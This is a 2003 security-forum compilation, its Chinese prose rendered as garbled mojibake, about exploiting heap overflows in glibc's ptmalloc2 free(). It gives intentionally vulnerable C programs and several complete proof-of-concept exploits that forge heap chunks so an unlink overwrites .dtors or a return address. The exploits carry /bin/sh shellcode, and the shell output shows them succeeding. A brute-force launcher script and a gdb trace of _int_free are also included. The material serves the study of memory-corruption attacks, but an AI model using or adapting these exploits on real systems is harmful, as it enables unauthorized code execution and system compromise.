ÎÄÕ·ÖÀà |
¼¸¸ö¹ØÓÚа汾glibcÉ϶ÑÒç³ö¼°ÀûÓõÄÑÝʾ´´½¨Ê±¼ä£º2003-09-18 ÎÄÕÂÊôÐÔ£ºÕûÀí ÎÄÕÂÀ´Ô´£ºhttp://www.xfocus.net (backend/watercloud/S4m/dumplogin) ÎÄÕÂÌá½»£ºwatercloud (watercloud_at_xfocus.org) ¼¼ÊõÌÖÂÛÓÉbkbllµÄÒ»¸ö¼¼Êõ²âÊÔ³ÌÐòÒýÆð£¬¿ÉÒԲο¼ËûµÄ¡¶Ò»ÖÖС¶Ñ(heap)Òç³öµÄÁíÀàÀûÓ÷½·¨¡· Õâ´ÎµÄÌÖÂÛÓÉbackend·¢Æð£¬ÌùÓÚUnix Hacking°æ£¬ºóÀ´´ó¼Ò½øÐÐÁ˷dz£ÉîÈëµÄÌÖÂÛ£¬²Î¿¼£º https://www.xfocus.net/bbs/index.php?act=ST&f=19&t=28202 -------------backendµÄÌû×ÓÈçÏÂ------------- ©¶´³ÌÐò£º #include <stdio.h> #include <stdlib.h> #include <unistd.h> int foo(char *s1,char *s2) { strcpy(s1,s2); printf("input:%s\r\n",s1); return 0; } main(int argc,char **argv) { char *p1; char *p2; if(argc<2) { printf("Usage:%s <string>\n",argv[0]); exit(0); } if(strlen(argv[1])>100-1) { printf("ERROR:too long\n"); exit(0); } p1=(char *)malloc(20); p2=(char *)malloc(100); memset(p1,0,20); memset(p2,0,100); strcpy(p2,argv[1]); foo(p1,p2); free(p1); free(p2); printf("END.\n"); exit(0); } $ gcc -o heapvul heapvul.c ¡ï Òç³ö´úÂë /* Concept-of-proof exploit for free() @ Wolfram Gloger's ptmalloc2 * * By backend at nsfocus.com (http://www.nsfocus.com) * Date: 2003-09-15 * * Compile: gcc -o ex2 ex2.c -lbfd */ #include <stdio.h> #include <stdlib.h> #include <bfd.h> #include <strings.h> #include <linux/elf.h> #define VULPROG "./heapvul" #define PREV_INUSE 0x1 #define IS_MMAPPED 0x2 #define bfd_error(s) { bfd_perror(s); exit(-1); } unsigned int bss_addr, dtors_addr; void GetBfdInfo () { bfd *abfd; asection *asec; bfd_init (); abfd = bfd_openr (VULPROG, NULL); if (!abfd) bfd_error("openr"); if (!bfd_check_format (abfd, bfd_object)) bfd_error("object format"); asec = bfd_get_section_by_name (abfd, ".bss"); if (!asec) bfd_error(".bss section"); bss_addr = (unsigned int)(asec->vma); asec = bfd_get_section_by_name (abfd, ".dtors"); if (!asec) bfd_error(".dtors section"); dtors_addr = (unsigned int)(asec->vma); bfd_close (abfd); } char shellcode[] = "\xeb\x0a\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; main (int argc, char **argv) { unsigned int codeaddr = 0; char buf[40], fake_chunks[40]; char *env[2]; unsigned int *ptr; codeaddr = 0xc0000000 - 4 - (strlen (VULPROG) + 1) - (strlen (shellcode) + 1); env[0] = shellcode; env[1] = NULL; GetBfdInfo (); ptr = (unsigned int *)fake_chunks; *ptr++ = 0x11223344; *ptr++ = (0xbffff800 - bss_addr) & ~(IS_MMAPPED | PREV_INUSE); *ptr++ = dtors_addr + 4 - 12; *ptr++ = codeaddr; *ptr++ = 0x11223344; *ptr++ = -16 | PREV_INUSE & ~IS_MMAPPED; *ptr++ = 0x08080808; *ptr++ = 0x08080808; bzero(buf, 40); memcpy (buf, fake_chunks, sizeof (fake_chunks)); execle (VULPROG, VULPROG, buf, NULL, env); } /* End of main */ [backend@redhat8 nsfocus]$ gcc -o ex2 ex2.c -lbfd [backend@redhat8 nsfocus]$ ./ex2 input:D3"`û·¨¸ÿÿŸm3"?ÿÿ END. sh-2.05b$ ÔÚRed Hat 8.0ÉÏÑé֤ͨ¹ý¡£ ¾ßÌå·ÖÎö¹ý³ÌÉÔºó·Å³ö¡£ÏÈÇë´ó¼ÒÀ´ÌÖÂÛÌÖÂÛ¡£ ----------------watercloud¸úÌùÈçÏÂ-------------------- ÎÒÒ²¸úÒ»¸ö :) ©¶´³ÌÐò£º [cloud@rsas tmalloc]$ cat v3.c #include<stdio.h> #include<stdlib.h> int main(int argc,char *argv[],char *env[]) { unsigned int addr[1] = {NULL}; char * p0 = malloc(8); char * p1 = malloc(8); if(argc >1) strncpy(p0,argv[1],16); printf("env[0]=%p env[1]=%p p0+8=%p ret_main=%p\n",env[0],env[1],((int)p0)+8,&addr[2]); free(p0); free(p1); return 0; } ÎÒÃǵÄÌõ¼þ±È½Ï¿Á¿Ì£¬ÒªÇóÖ»Äܸ²¸Ç16×Ö½Ú¡£ ÀûÓóÌÐò˼·ÊǸ²¸Çp1µÄǰ8¸ö×Ö½Ú£¬²¢¹¹Ôì»·¾³±äÁ¿Ê¹µÃfree(p1)ʱp1µÄnextchunkÔÚ»·¾³±äÁ¿ÖУ¬ ÔÙÔÚ»·¾³±äÁ¿Öй¹ÔìnextchunkµÄÏÂÒ»¸ö¿éʹµÃnextchunkΪ¿ÕÏп飬²¢¹¹Ôìnextchunk->fd ºÍbk£¬Ê¹µÃunlink nextchunkʱ¸²¸Çmainº¯Êý·µ»ØµØÖ·Ö¸Ïò»·¾³±äÁ¿ÖеÄshellcode¡£ Õâ¸ö¹ý³ÌÎÒÃÇÐèÒª²Â²âÄ¿±êp1µÄµØÖ·ºÍÄ¿±êmainº¯ÊýµÄ·µ»ØµØÖ·¡£ ÎÒÃǵÄÒÀ¾ÝÊÇͨ¹ýÀûÓóÌÐò×ÔÉíµÄµÚÒ»¸ömallocµÄ·µ»ØµØÖ·¼ÓÉÏÒ»¸öÆ«ÒÆÀ´²Â²âÄ¿±êp1£¬ ͨ¹ý×ÔÉímain·µ»ØµØÖ·¼ÓÒ»¸öÆ«ÒÆÀ´²Â²âÄ¿±êmain·µ»ØµØÖ·¡£ (¸²¸Ç.got»ò.dtor£¬È»ºó²Â²â¶ÑÇøºÍÕ»Àï»·¾³±äÁ¿µÄÆ«ÒÆÀ´¿ÉÄܸü¿É¿¿)¡£ ÀûÓóÌÐò£º [cloud@rsas tmalloc]$ cat exv3.c #include<stdio.h> #include<stdlib.h> #define TCMD ".///v3" unsigned int MALLOC_OFF=0x208; unsigned int MAIN_OFF=0x438; char shell[]= "\xeb\x0a\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "j\vX\x99Rhn/shh//biT[RSTY\xcd\x80"; char * env[3]; char * arg[3]; int main(int argc,char *argv[]) { unsigned int addr[1] = {NULL}; unsigned int RET_FUNC = ( (int)&addr[2])+MAIN_OFF; char * p0 = malloc(8); unsigned int t_chunk = 0xc0000000 - 36 +8 -strlen(TCMD)-2-4; //sizeof(chunk=36) chunk+8=nextchunk chunk=nextchunk's nextchunk :) unsigned int t_shell = t_chunk - 8- strlen(shell)-1; unsigned int alig = t_chunk - ( ((int)p0) - MALLOC_OFF); unsigned int chunk[9] = {0xfffffff8,0xfffffff8,alig |0x1,0xfffffff9,RET_FUNC-12,t_shell, 0x41424344,0x41424344,0x41424344}; unsigned int argument[8] = {0x41414141,0x42424242,0xfffffff0,alig |0x1}; if(argc >1) { alig+=atoi(argv[1]); chunk[2]=alig | 0x1; argument[3]=alig | 0x1; } if(argc >2) { RET_FUNC+=atoi(argv[2]); chunk[4]=RET_FUNC-12; } env[0]=shell; env[1]=chunk; //env[0]="XX_PRELOAD=/home/cloud/malloc/malloc.so"; env[2]=NULL; arg[0]=TCMD; arg[1]=argument; arg[2]=NULL; free(p0); printf("tshell=%p tchunk=%p tp1= %p RET_FUNC=%p ret=%p\n",t_shell,t_chunk,t_chunk-alig,RET_FUNC,&addr[2]); execve(TCMD,arg,env); return 0; } µÚÒ»¸öÆ«ÒÆÊÇexv3ÖеÚÒ»¸ömallocºÍv3ÖеÚÒ»¸ömalloc¼äµÄÆ«ÒÆ£¬Ò»°ãÊÇ32-128¼ä£» µÚ¶þ¸öÆ«ÒÆÊÇexv3µÄmain·µ»ØµØÖ·ºÍv3ÖÐmain·µ»ØµØÖ·¼äµÄÆ«ÒÆ£¬Ò»°ãÊÇ0-96¼ä£» ÔÚRedHat9ÉϲâÊÔ£º [cloud@rsas tmalloc]$ ./exv3 56 64 tshell=0xbfffffac tchunk=0xbfffffd8 tp1= 0x80496d8 RET_FUNC=0xbffffe9c ret=0xbffffa24 env[0]=0xbfffffac env[1]=0xbfffffd0 p0+8=0x80496d8 ret_main=0xbffffe9c sh-2.05b$ ÔÚredhat8ÉϲâÊÔ£º [cloud@watercloud ex-malloc]$ ./exv3 32 48 tshell=0xbfffffac tchunk=0xbfffffd8 tp1= 0x8049630 RET_FUNC=0xbffff21c ret=0xbfffedb4 env[0]=0xbfffffac env[1]=0xbfffffd0 p0+8=0x8049630 ret_main=0xbffff21c sh-2.05b$ Ö»Òª¿´µ½´òÓ¡ÐÅÏ¢µÄtp1ºÍp0+8ÏàµÈÇÒret_mainºÍRET_FUNCÏàµÈ¾ÍÐÐÁË¡£ ×î¶àÔÙ¼Ó¸öshell³ÌÐòµ÷ÓÃexv3±©Á¦Çî¾Ù¿Ï¶¨Äܳɹ¦ :) [cloud@rsas tmalloc]$ cat ex3.sh #!/bin/sh heapoff=0 while [ $heapoff -le 128 ] ; do retoff=0; while [ $retoff -le 128 ] ;do echo ./exv3 $heapoff $retoff ./exv3 $heapoff $retoff retoff=$(($retoff+8)) done heapoff=$((heapoff+8)) done [cloud@rsas tmalloc]$./ex3.sh . . . . . . tshell=0xbfffffac tchunk=0xbfffffd8 tp1= 0x80496e0 RET_FUNC=0xbffffeec ret=0xbffffa34 env[0]=0xbfffffac env[1]=0xbfffffd0 p0+8=0x80496d8 ret_main=0xbffffe9c ./exv3 56 0 tshell=0xbfffffac tchunk=0xbfffffd8 tp1= 0x80496d8 RET_FUNC=0xbffffe6c ret=0xbffffa34 env[0]=0xbfffffac env[1]=0xbfffffd0 p0+8=0x80496d8 ret_main=0xbffffe9c sh-2.05b$ -----------------------------S4m¸úÌùÈçÏÂ-------------------------- żҲÀ´´Õ¸öÈÈÄÖ,±¾À´ÏëÖØÐ±àÒëglibc´úÂë,µ«ÊÇû³É¹¦,Ö»ºÃ±ß¿´»ã±à±ß·ÖÎö. Ìù¸öµ÷ÊÔ¹ý³Ì,ËãÊǶÁºó¸Ð°Ñ :) ²âÊÔ»·¾³ redhat 8.0 glibc-2.2.93-5 (gdb) x/10i $pc 0x42073fdd <_int_free+109>: lea (%edi,%esi,1),%ecx //nextchunk = chunk_at_offset(p, size); 0x42073fe0 <_int_free+112>: mov 0x4(%ecx),%eax //nextsize = chunksize(nextchunk); 0x42073fe3 <_int_free+115>: mov %ecx,0xffffffec(%ebp) 0x42073fe6 <_int_free+118>: mov %eax,0xffffffe4(%ebp) //netchunk 0x42073fe9 <_int_free+121>: and $0xfffffff8,%eax //ÕâÀﵱǰ¿éµÄsize±ØÐëÊÇ8µÄ±¶Êý 0x42073fec <_int_free+124>: testl $0x1,0xffffffe0(%ebp) //if (!prev_inuse(p)) ? ÉÏÒ»¿éÊÇ·ñ¿ÕÏÐ 0x42073ff3 <_int_free+131>: mov %eax,0xffffffe8(%ebp) 0x42073ff6 <_int_free+134>: jne 0x4207400b <_int_free+155> //unlink ÏÂÒ»¸ö¿é 0x42073ff8 <_int_free+136>: mov 0xfffffff8(%edx),%eax 0x42073ffb <_int_free+139>: sub %eax,%esi (gdb) i r edi esi ecx edi 0xfffffff0 -16 esi 0x8049750 134518608 ecx 0xfffffff1 -15 (gdb) si 0x42073fe0 in _int_free () from /lib/i686/libc.so.6 (gdb) i r ecx ecx 0x8049740 134518592 (gdb) x/10x 0x8049740 0x8049740: 0x00000000 0xfffffff0 0x41414141 0x42424242 0x8049750: 0x11223344 0xfffffff1 0x11223300 0xfffffff0 0x8049760: 0x41414141 0x42424242 (gdb) x/i $pc 0x42073fe0 <_int_free+112>: mov 0x4(%ecx),%eax (gdb) si 0x42073fe3 in _int_free () from /lib/i686/libc.so.6 (gdb) i r eax eax 0xfffffff0 -16 (gdb) si 0x42073fe6 in _int_free () from /lib/i686/libc.so.6 (gdb) 0x42073fe9 in _int_free () from /lib/i686/libc.so.6 (gdb) i r ebp ebp 0xbffffea8 0xbffffea8 (gdb) x/x 0xbffffea8 + 0xffffffec 0xbffffe94: 0x08049740 (gdb) i r eax eax 0xfffffff0 -16 (gdb) x/i $pc 0x42073fe9 <_int_free+121>: and $0xfffffff8,%eax (gdb) si 0x42073fec in _int_free () from /lib/i686/libc.so.6 (gdb) i r eax eax 0xfffffff0 -16 (gdb) i r ebp ebp 0xbffffea8 0xbffffea8 (gdb) x/x 0xbffffea8 + 0xffffffe0 0xbffffe88: 0xfffffff1 (gdb) x/i $pc 0x42073fec <_int_free+124>: testl $0x1,0xffffffe0(%ebp) (gdb) si 0x42073ff3 in _int_free () from /lib/i686/libc.so.6 (gdb) i r eax eax 0xfffffff0 -16 (gdb) si 0x42073ff6 in _int_free () from /lib/i686/libc.so.6 (gdb) x/i $pc 0x42073ff6 <_int_free+134>: jne 0x4207400b <_int_free+155> (gdb) si 0x4207400b in _int_free () from /lib/i686/libc.so.6 (gdb) x/10i $pc 0x4207400b <_int_free+155>: mov 0xfffffff0(%ebp),%eax 0x4207400e <_int_free+158>: mov 0xffffffec(%ebp),%ecx 0x42074011 <_int_free+161>: cmp 0x54(%eax),%ecx // if (nextchunk != av->top) ÊÇ·ñ·ñtop¿é? 0x42074014 <_int_free+164>: je 0x420740f2 <_int_free+386> // Èç¹ûÊÇÔòÌø×ª 0x4207401a <_int_free+170>: mov 0xffffffe8(%ebp),%eax // nextchunk->size 0x4207401d <_int_free+173>: testb $0x1,0x4(%eax,%ecx,1) [2]// (next + nextchunk->size)->size ÕâÀïÅжÏnextchunkÊÇ·ñ¿ÕÏÐ(¼´ÏÂÏ¿éµÄsizeµÄPREV_INUSEλÇåÁã) 0x42074022 <_int_free+178>: jne 0x420740e0 <_int_free+368> // Èç¹ûnextchunk¿é²»¿ÕÏÐÔòÌø×ª 0x42074028 <_int_free+184>: mov %ecx,%edx // nextchunk 0x4207402a <_int_free+186>: mov 0x8(%ecx),%ecx // fd 0x4207402d <_int_free+189>: mov 0xc(%edx),%eax // bk (gdb) 0x42074030 <_int_free+192>: mov 0xffffffe8(%ebp),%edx 0x42074033 <_int_free+195>: mov %eax,0xc(%ecx) // unlink(nextchunk, bck, fwd) Õª³ýµ±Ç°¿é 0x42074036 <_int_free+198>: add %edx,%edi 0x42074038 <_int_free+200>: mov %ecx,0x8(%eax) 0x4207403b <_int_free+203>: mov %edi,(%edi,%esi,1) 0x4207403e <_int_free+206>: mov 0xfffffff0(%ebp),%eax 0x42074041 <_int_free+209>: mov %edi,%ecx 0x42074043 <_int_free+211>: or $0x1,%ecx 0x42074046 <_int_free+214>: add $0x5c,%eax 0x42074049 <_int_free+217>: mov 0x8(%eax),%edx (gdb) i r ebp ebp 0xbffffea8 0xbffffea8 (gdb) x/x 0xbffffea8 + 0xfffffff0 0xbffffe98: 0x4212b180 (gdb) i r eax eax 0xfffffff0 -16 (gdb) si 0x4207400e in _int_free () from /lib/i686/libc.so.6 (gdb) i r eax eax 0x4212b180 1108521344 (gdb) x/x 0xbffffea8 + 0xffffffec 0xbffffe94: 0x08049740 (gdb) si 0x42074011 in _int_free () from /lib/i686/libc.so.6 (gdb) i r ecx ecx 0x8049740 134518592 (gdb) x/x 0x4212b180 + 0x54 0x4212b1d4 <main_arena+84>: 0x080497b8 (gdb) x/i $pc 0x42074011 <_int_free+161>: cmp 0x54(%eax),%ecx (gdb) si 0x42074014 in _int_free () from /lib/i686/libc.so.6 (gdb) i r ecx ecx 0x8049740 134518592 (gdb) si 0x4207401a in _int_free () from /lib/i686/libc.so.6 (gdb) x/i $pc 0x4207401a <_int_free+170>: mov 0xffffffe8(%ebp),%eax (gdb) x/x 0xbffffea8 + 0xffffffe8 0xbffffe90: 0xfffffff0 (gdb) si 0x4207401d in _int_free () from /lib/i686/libc.so.6 (gdb) i r eax eax 0xfffffff0 -16 (gdb) i r eax ecx eax 0xfffffff0 -16 ecx 0x8049740 134518592 (gdb) x/x 0x8049740 + 4 0x8049744: 0xfffffff0 (gdb) x/x 0x8049740 + 0xfffffff0 //Ö¸ÏòÒ»¸özeroÇøÓò, ¸ÕºÃÂú×ã[2] 0x8049730 <_GLOBAL_OFFSET_TABLE_+44>: 0x00000000 (gdb) si 0x42074022 in _int_free () from /lib/i686/libc.so.6 (gdb) x/i $pc 0x42074022 <_int_free+178>: jne 0x420740e0 <_int_free+368> (gdb) si 0x42074028 in _int_free () from /lib/i686/libc.so.6 (gdb) i r ecx edx ecx 0x8049740 134518592 edx 0x8049758 134518616 (gdb) x/i $pc 0x42074028 <_int_free+184>: mov %ecx,%edx (gdb) si 0x4207402a in _int_free () from /lib/i686/libc.so.6 (gdb) i r ecx edx ecx 0x8049740 134518592 edx 0x8049740 134518592 (gdb) x/10x 0x8049740 0x8049740: 0x00000000 0xfffffff0 0x41414141 0x42424242 0x8049750: 0x11223344 0xfffffff1 0x11223300 0xfffffff0 0x8049760: 0x41414141 0x42424242 (gdb) x/i $pc 0x4207402a <_int_free+186>: mov 0x8(%ecx),%ecx (gdb) x/x $ecx+8 0x8049748: 0x41414141 (gdb) si 0x4207402d in _int_free () from /lib/i686/libc.so.6 (gdb) i r ecx ecx 0x41414141 1094795585 (gdb) x/i $pc 0x4207402d <_int_free+189>: mov 0xc(%edx),%eax (gdb) x/x $edx+0xc 0x804974c: 0x42424242 (gdb) si 0x42074030 in _int_free () from /lib/i686/libc.so.6 (gdb) i r eax eax 0x42424242 1111638594 (gdb) x/x $ebp + 0xffffffe8 0xbffffe90: 0xfffffff0 (gdb) i r edx edx 0x8049740 134518592 (gdb) si 0x42074033 in _int_free () from /lib/i686/libc.so.6 (gdb) i r edx edx 0xfffffff0 -16 (gdb) i r eax ecx eax 0x42424242 1111638594 ecx 0x41414141 1094795585 (gdb) x/4i $pc 0x42074033 <_int_free+195>: mov %eax,0xc(%ecx) 0x42074036 <_int_free+198>: add %edx,%edi 0x42074038 <_int_free+200>: mov %ecx,0x8(%eax) 0x4207403b <_int_free+203>: mov %edi,(%edi,%esi,1) (gdb) si Program received signal SIGSEGV, Segmentation fault. 0x42074033 in _int_free () from /lib/i686/libc.so.6 (gdb) x/i $pc 0x42074033 <_int_free+195>: mov %eax,0xc(%ecx) (gdb) -bash-2.05b$ cat > ex3.c /* by Sam * Sam@0x557.org */ #include <stdio.h> #define dtors_addr 0x080496f8 + 4 - 12 char shellcode[]= "\xeb\x0a\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "j\vX\x99Rhn/shh//biT[RSTY\xcd\x80"; int main (int argc, char **argv) { int retaddr; char dummy[24], expbuf[256], *args[24], *envs[24]; bzero (expbuf, sizeof (expbuf)); bzero (dummy, sizeof (dummy)); retaddr = 0xbffffffa - (strlen ("./heap2") + 1) - (strlen (shellcode) + 1); printf ("retaddr addr 0x%x\n", retaddr); printf ("retloc addr 0x%x\n", dtors_addr); *(int *)&dummy[0] = 0x11223344; *(int *)&dummy[4] = 0xfffffff0; *(int *)&dummy[8] = dtors_addr; *(int *)&dummy[12] = retaddr; *(int *)&dummy[16] = 0x11223344; *(int *)&dummy[20] = -16 | 0x1 &~ 0x2; memcpy (expbuf, dummy, sizeof (dummy)); args[0] = "./heap2"; args[1] = expbuf; args[2] = NULL; envs[0] = shellcode; envs[1] = NULL; execve (args[0], args, envs); perror ("execve"); return 0; } -bash-2.05b$ make ex3 cc ex3.c -o ex3 -bash-2.05b$ ./ex3 retaddr addr 0xbfffffce retloc addr 0x80496f0 input:D3"ðÿÿÿðÎÿÿ¿D3"ñÿÿÿ END. sh-2.05b$ --------------------------END------------------- Ç¿ÁÒÍÆ¼ö´ó¼Ò¿´¿´Ô°æµÄÌÖÂÛ: https://www.xfocus.net/bbs/index.php?act=ST&f=19&t=28202 |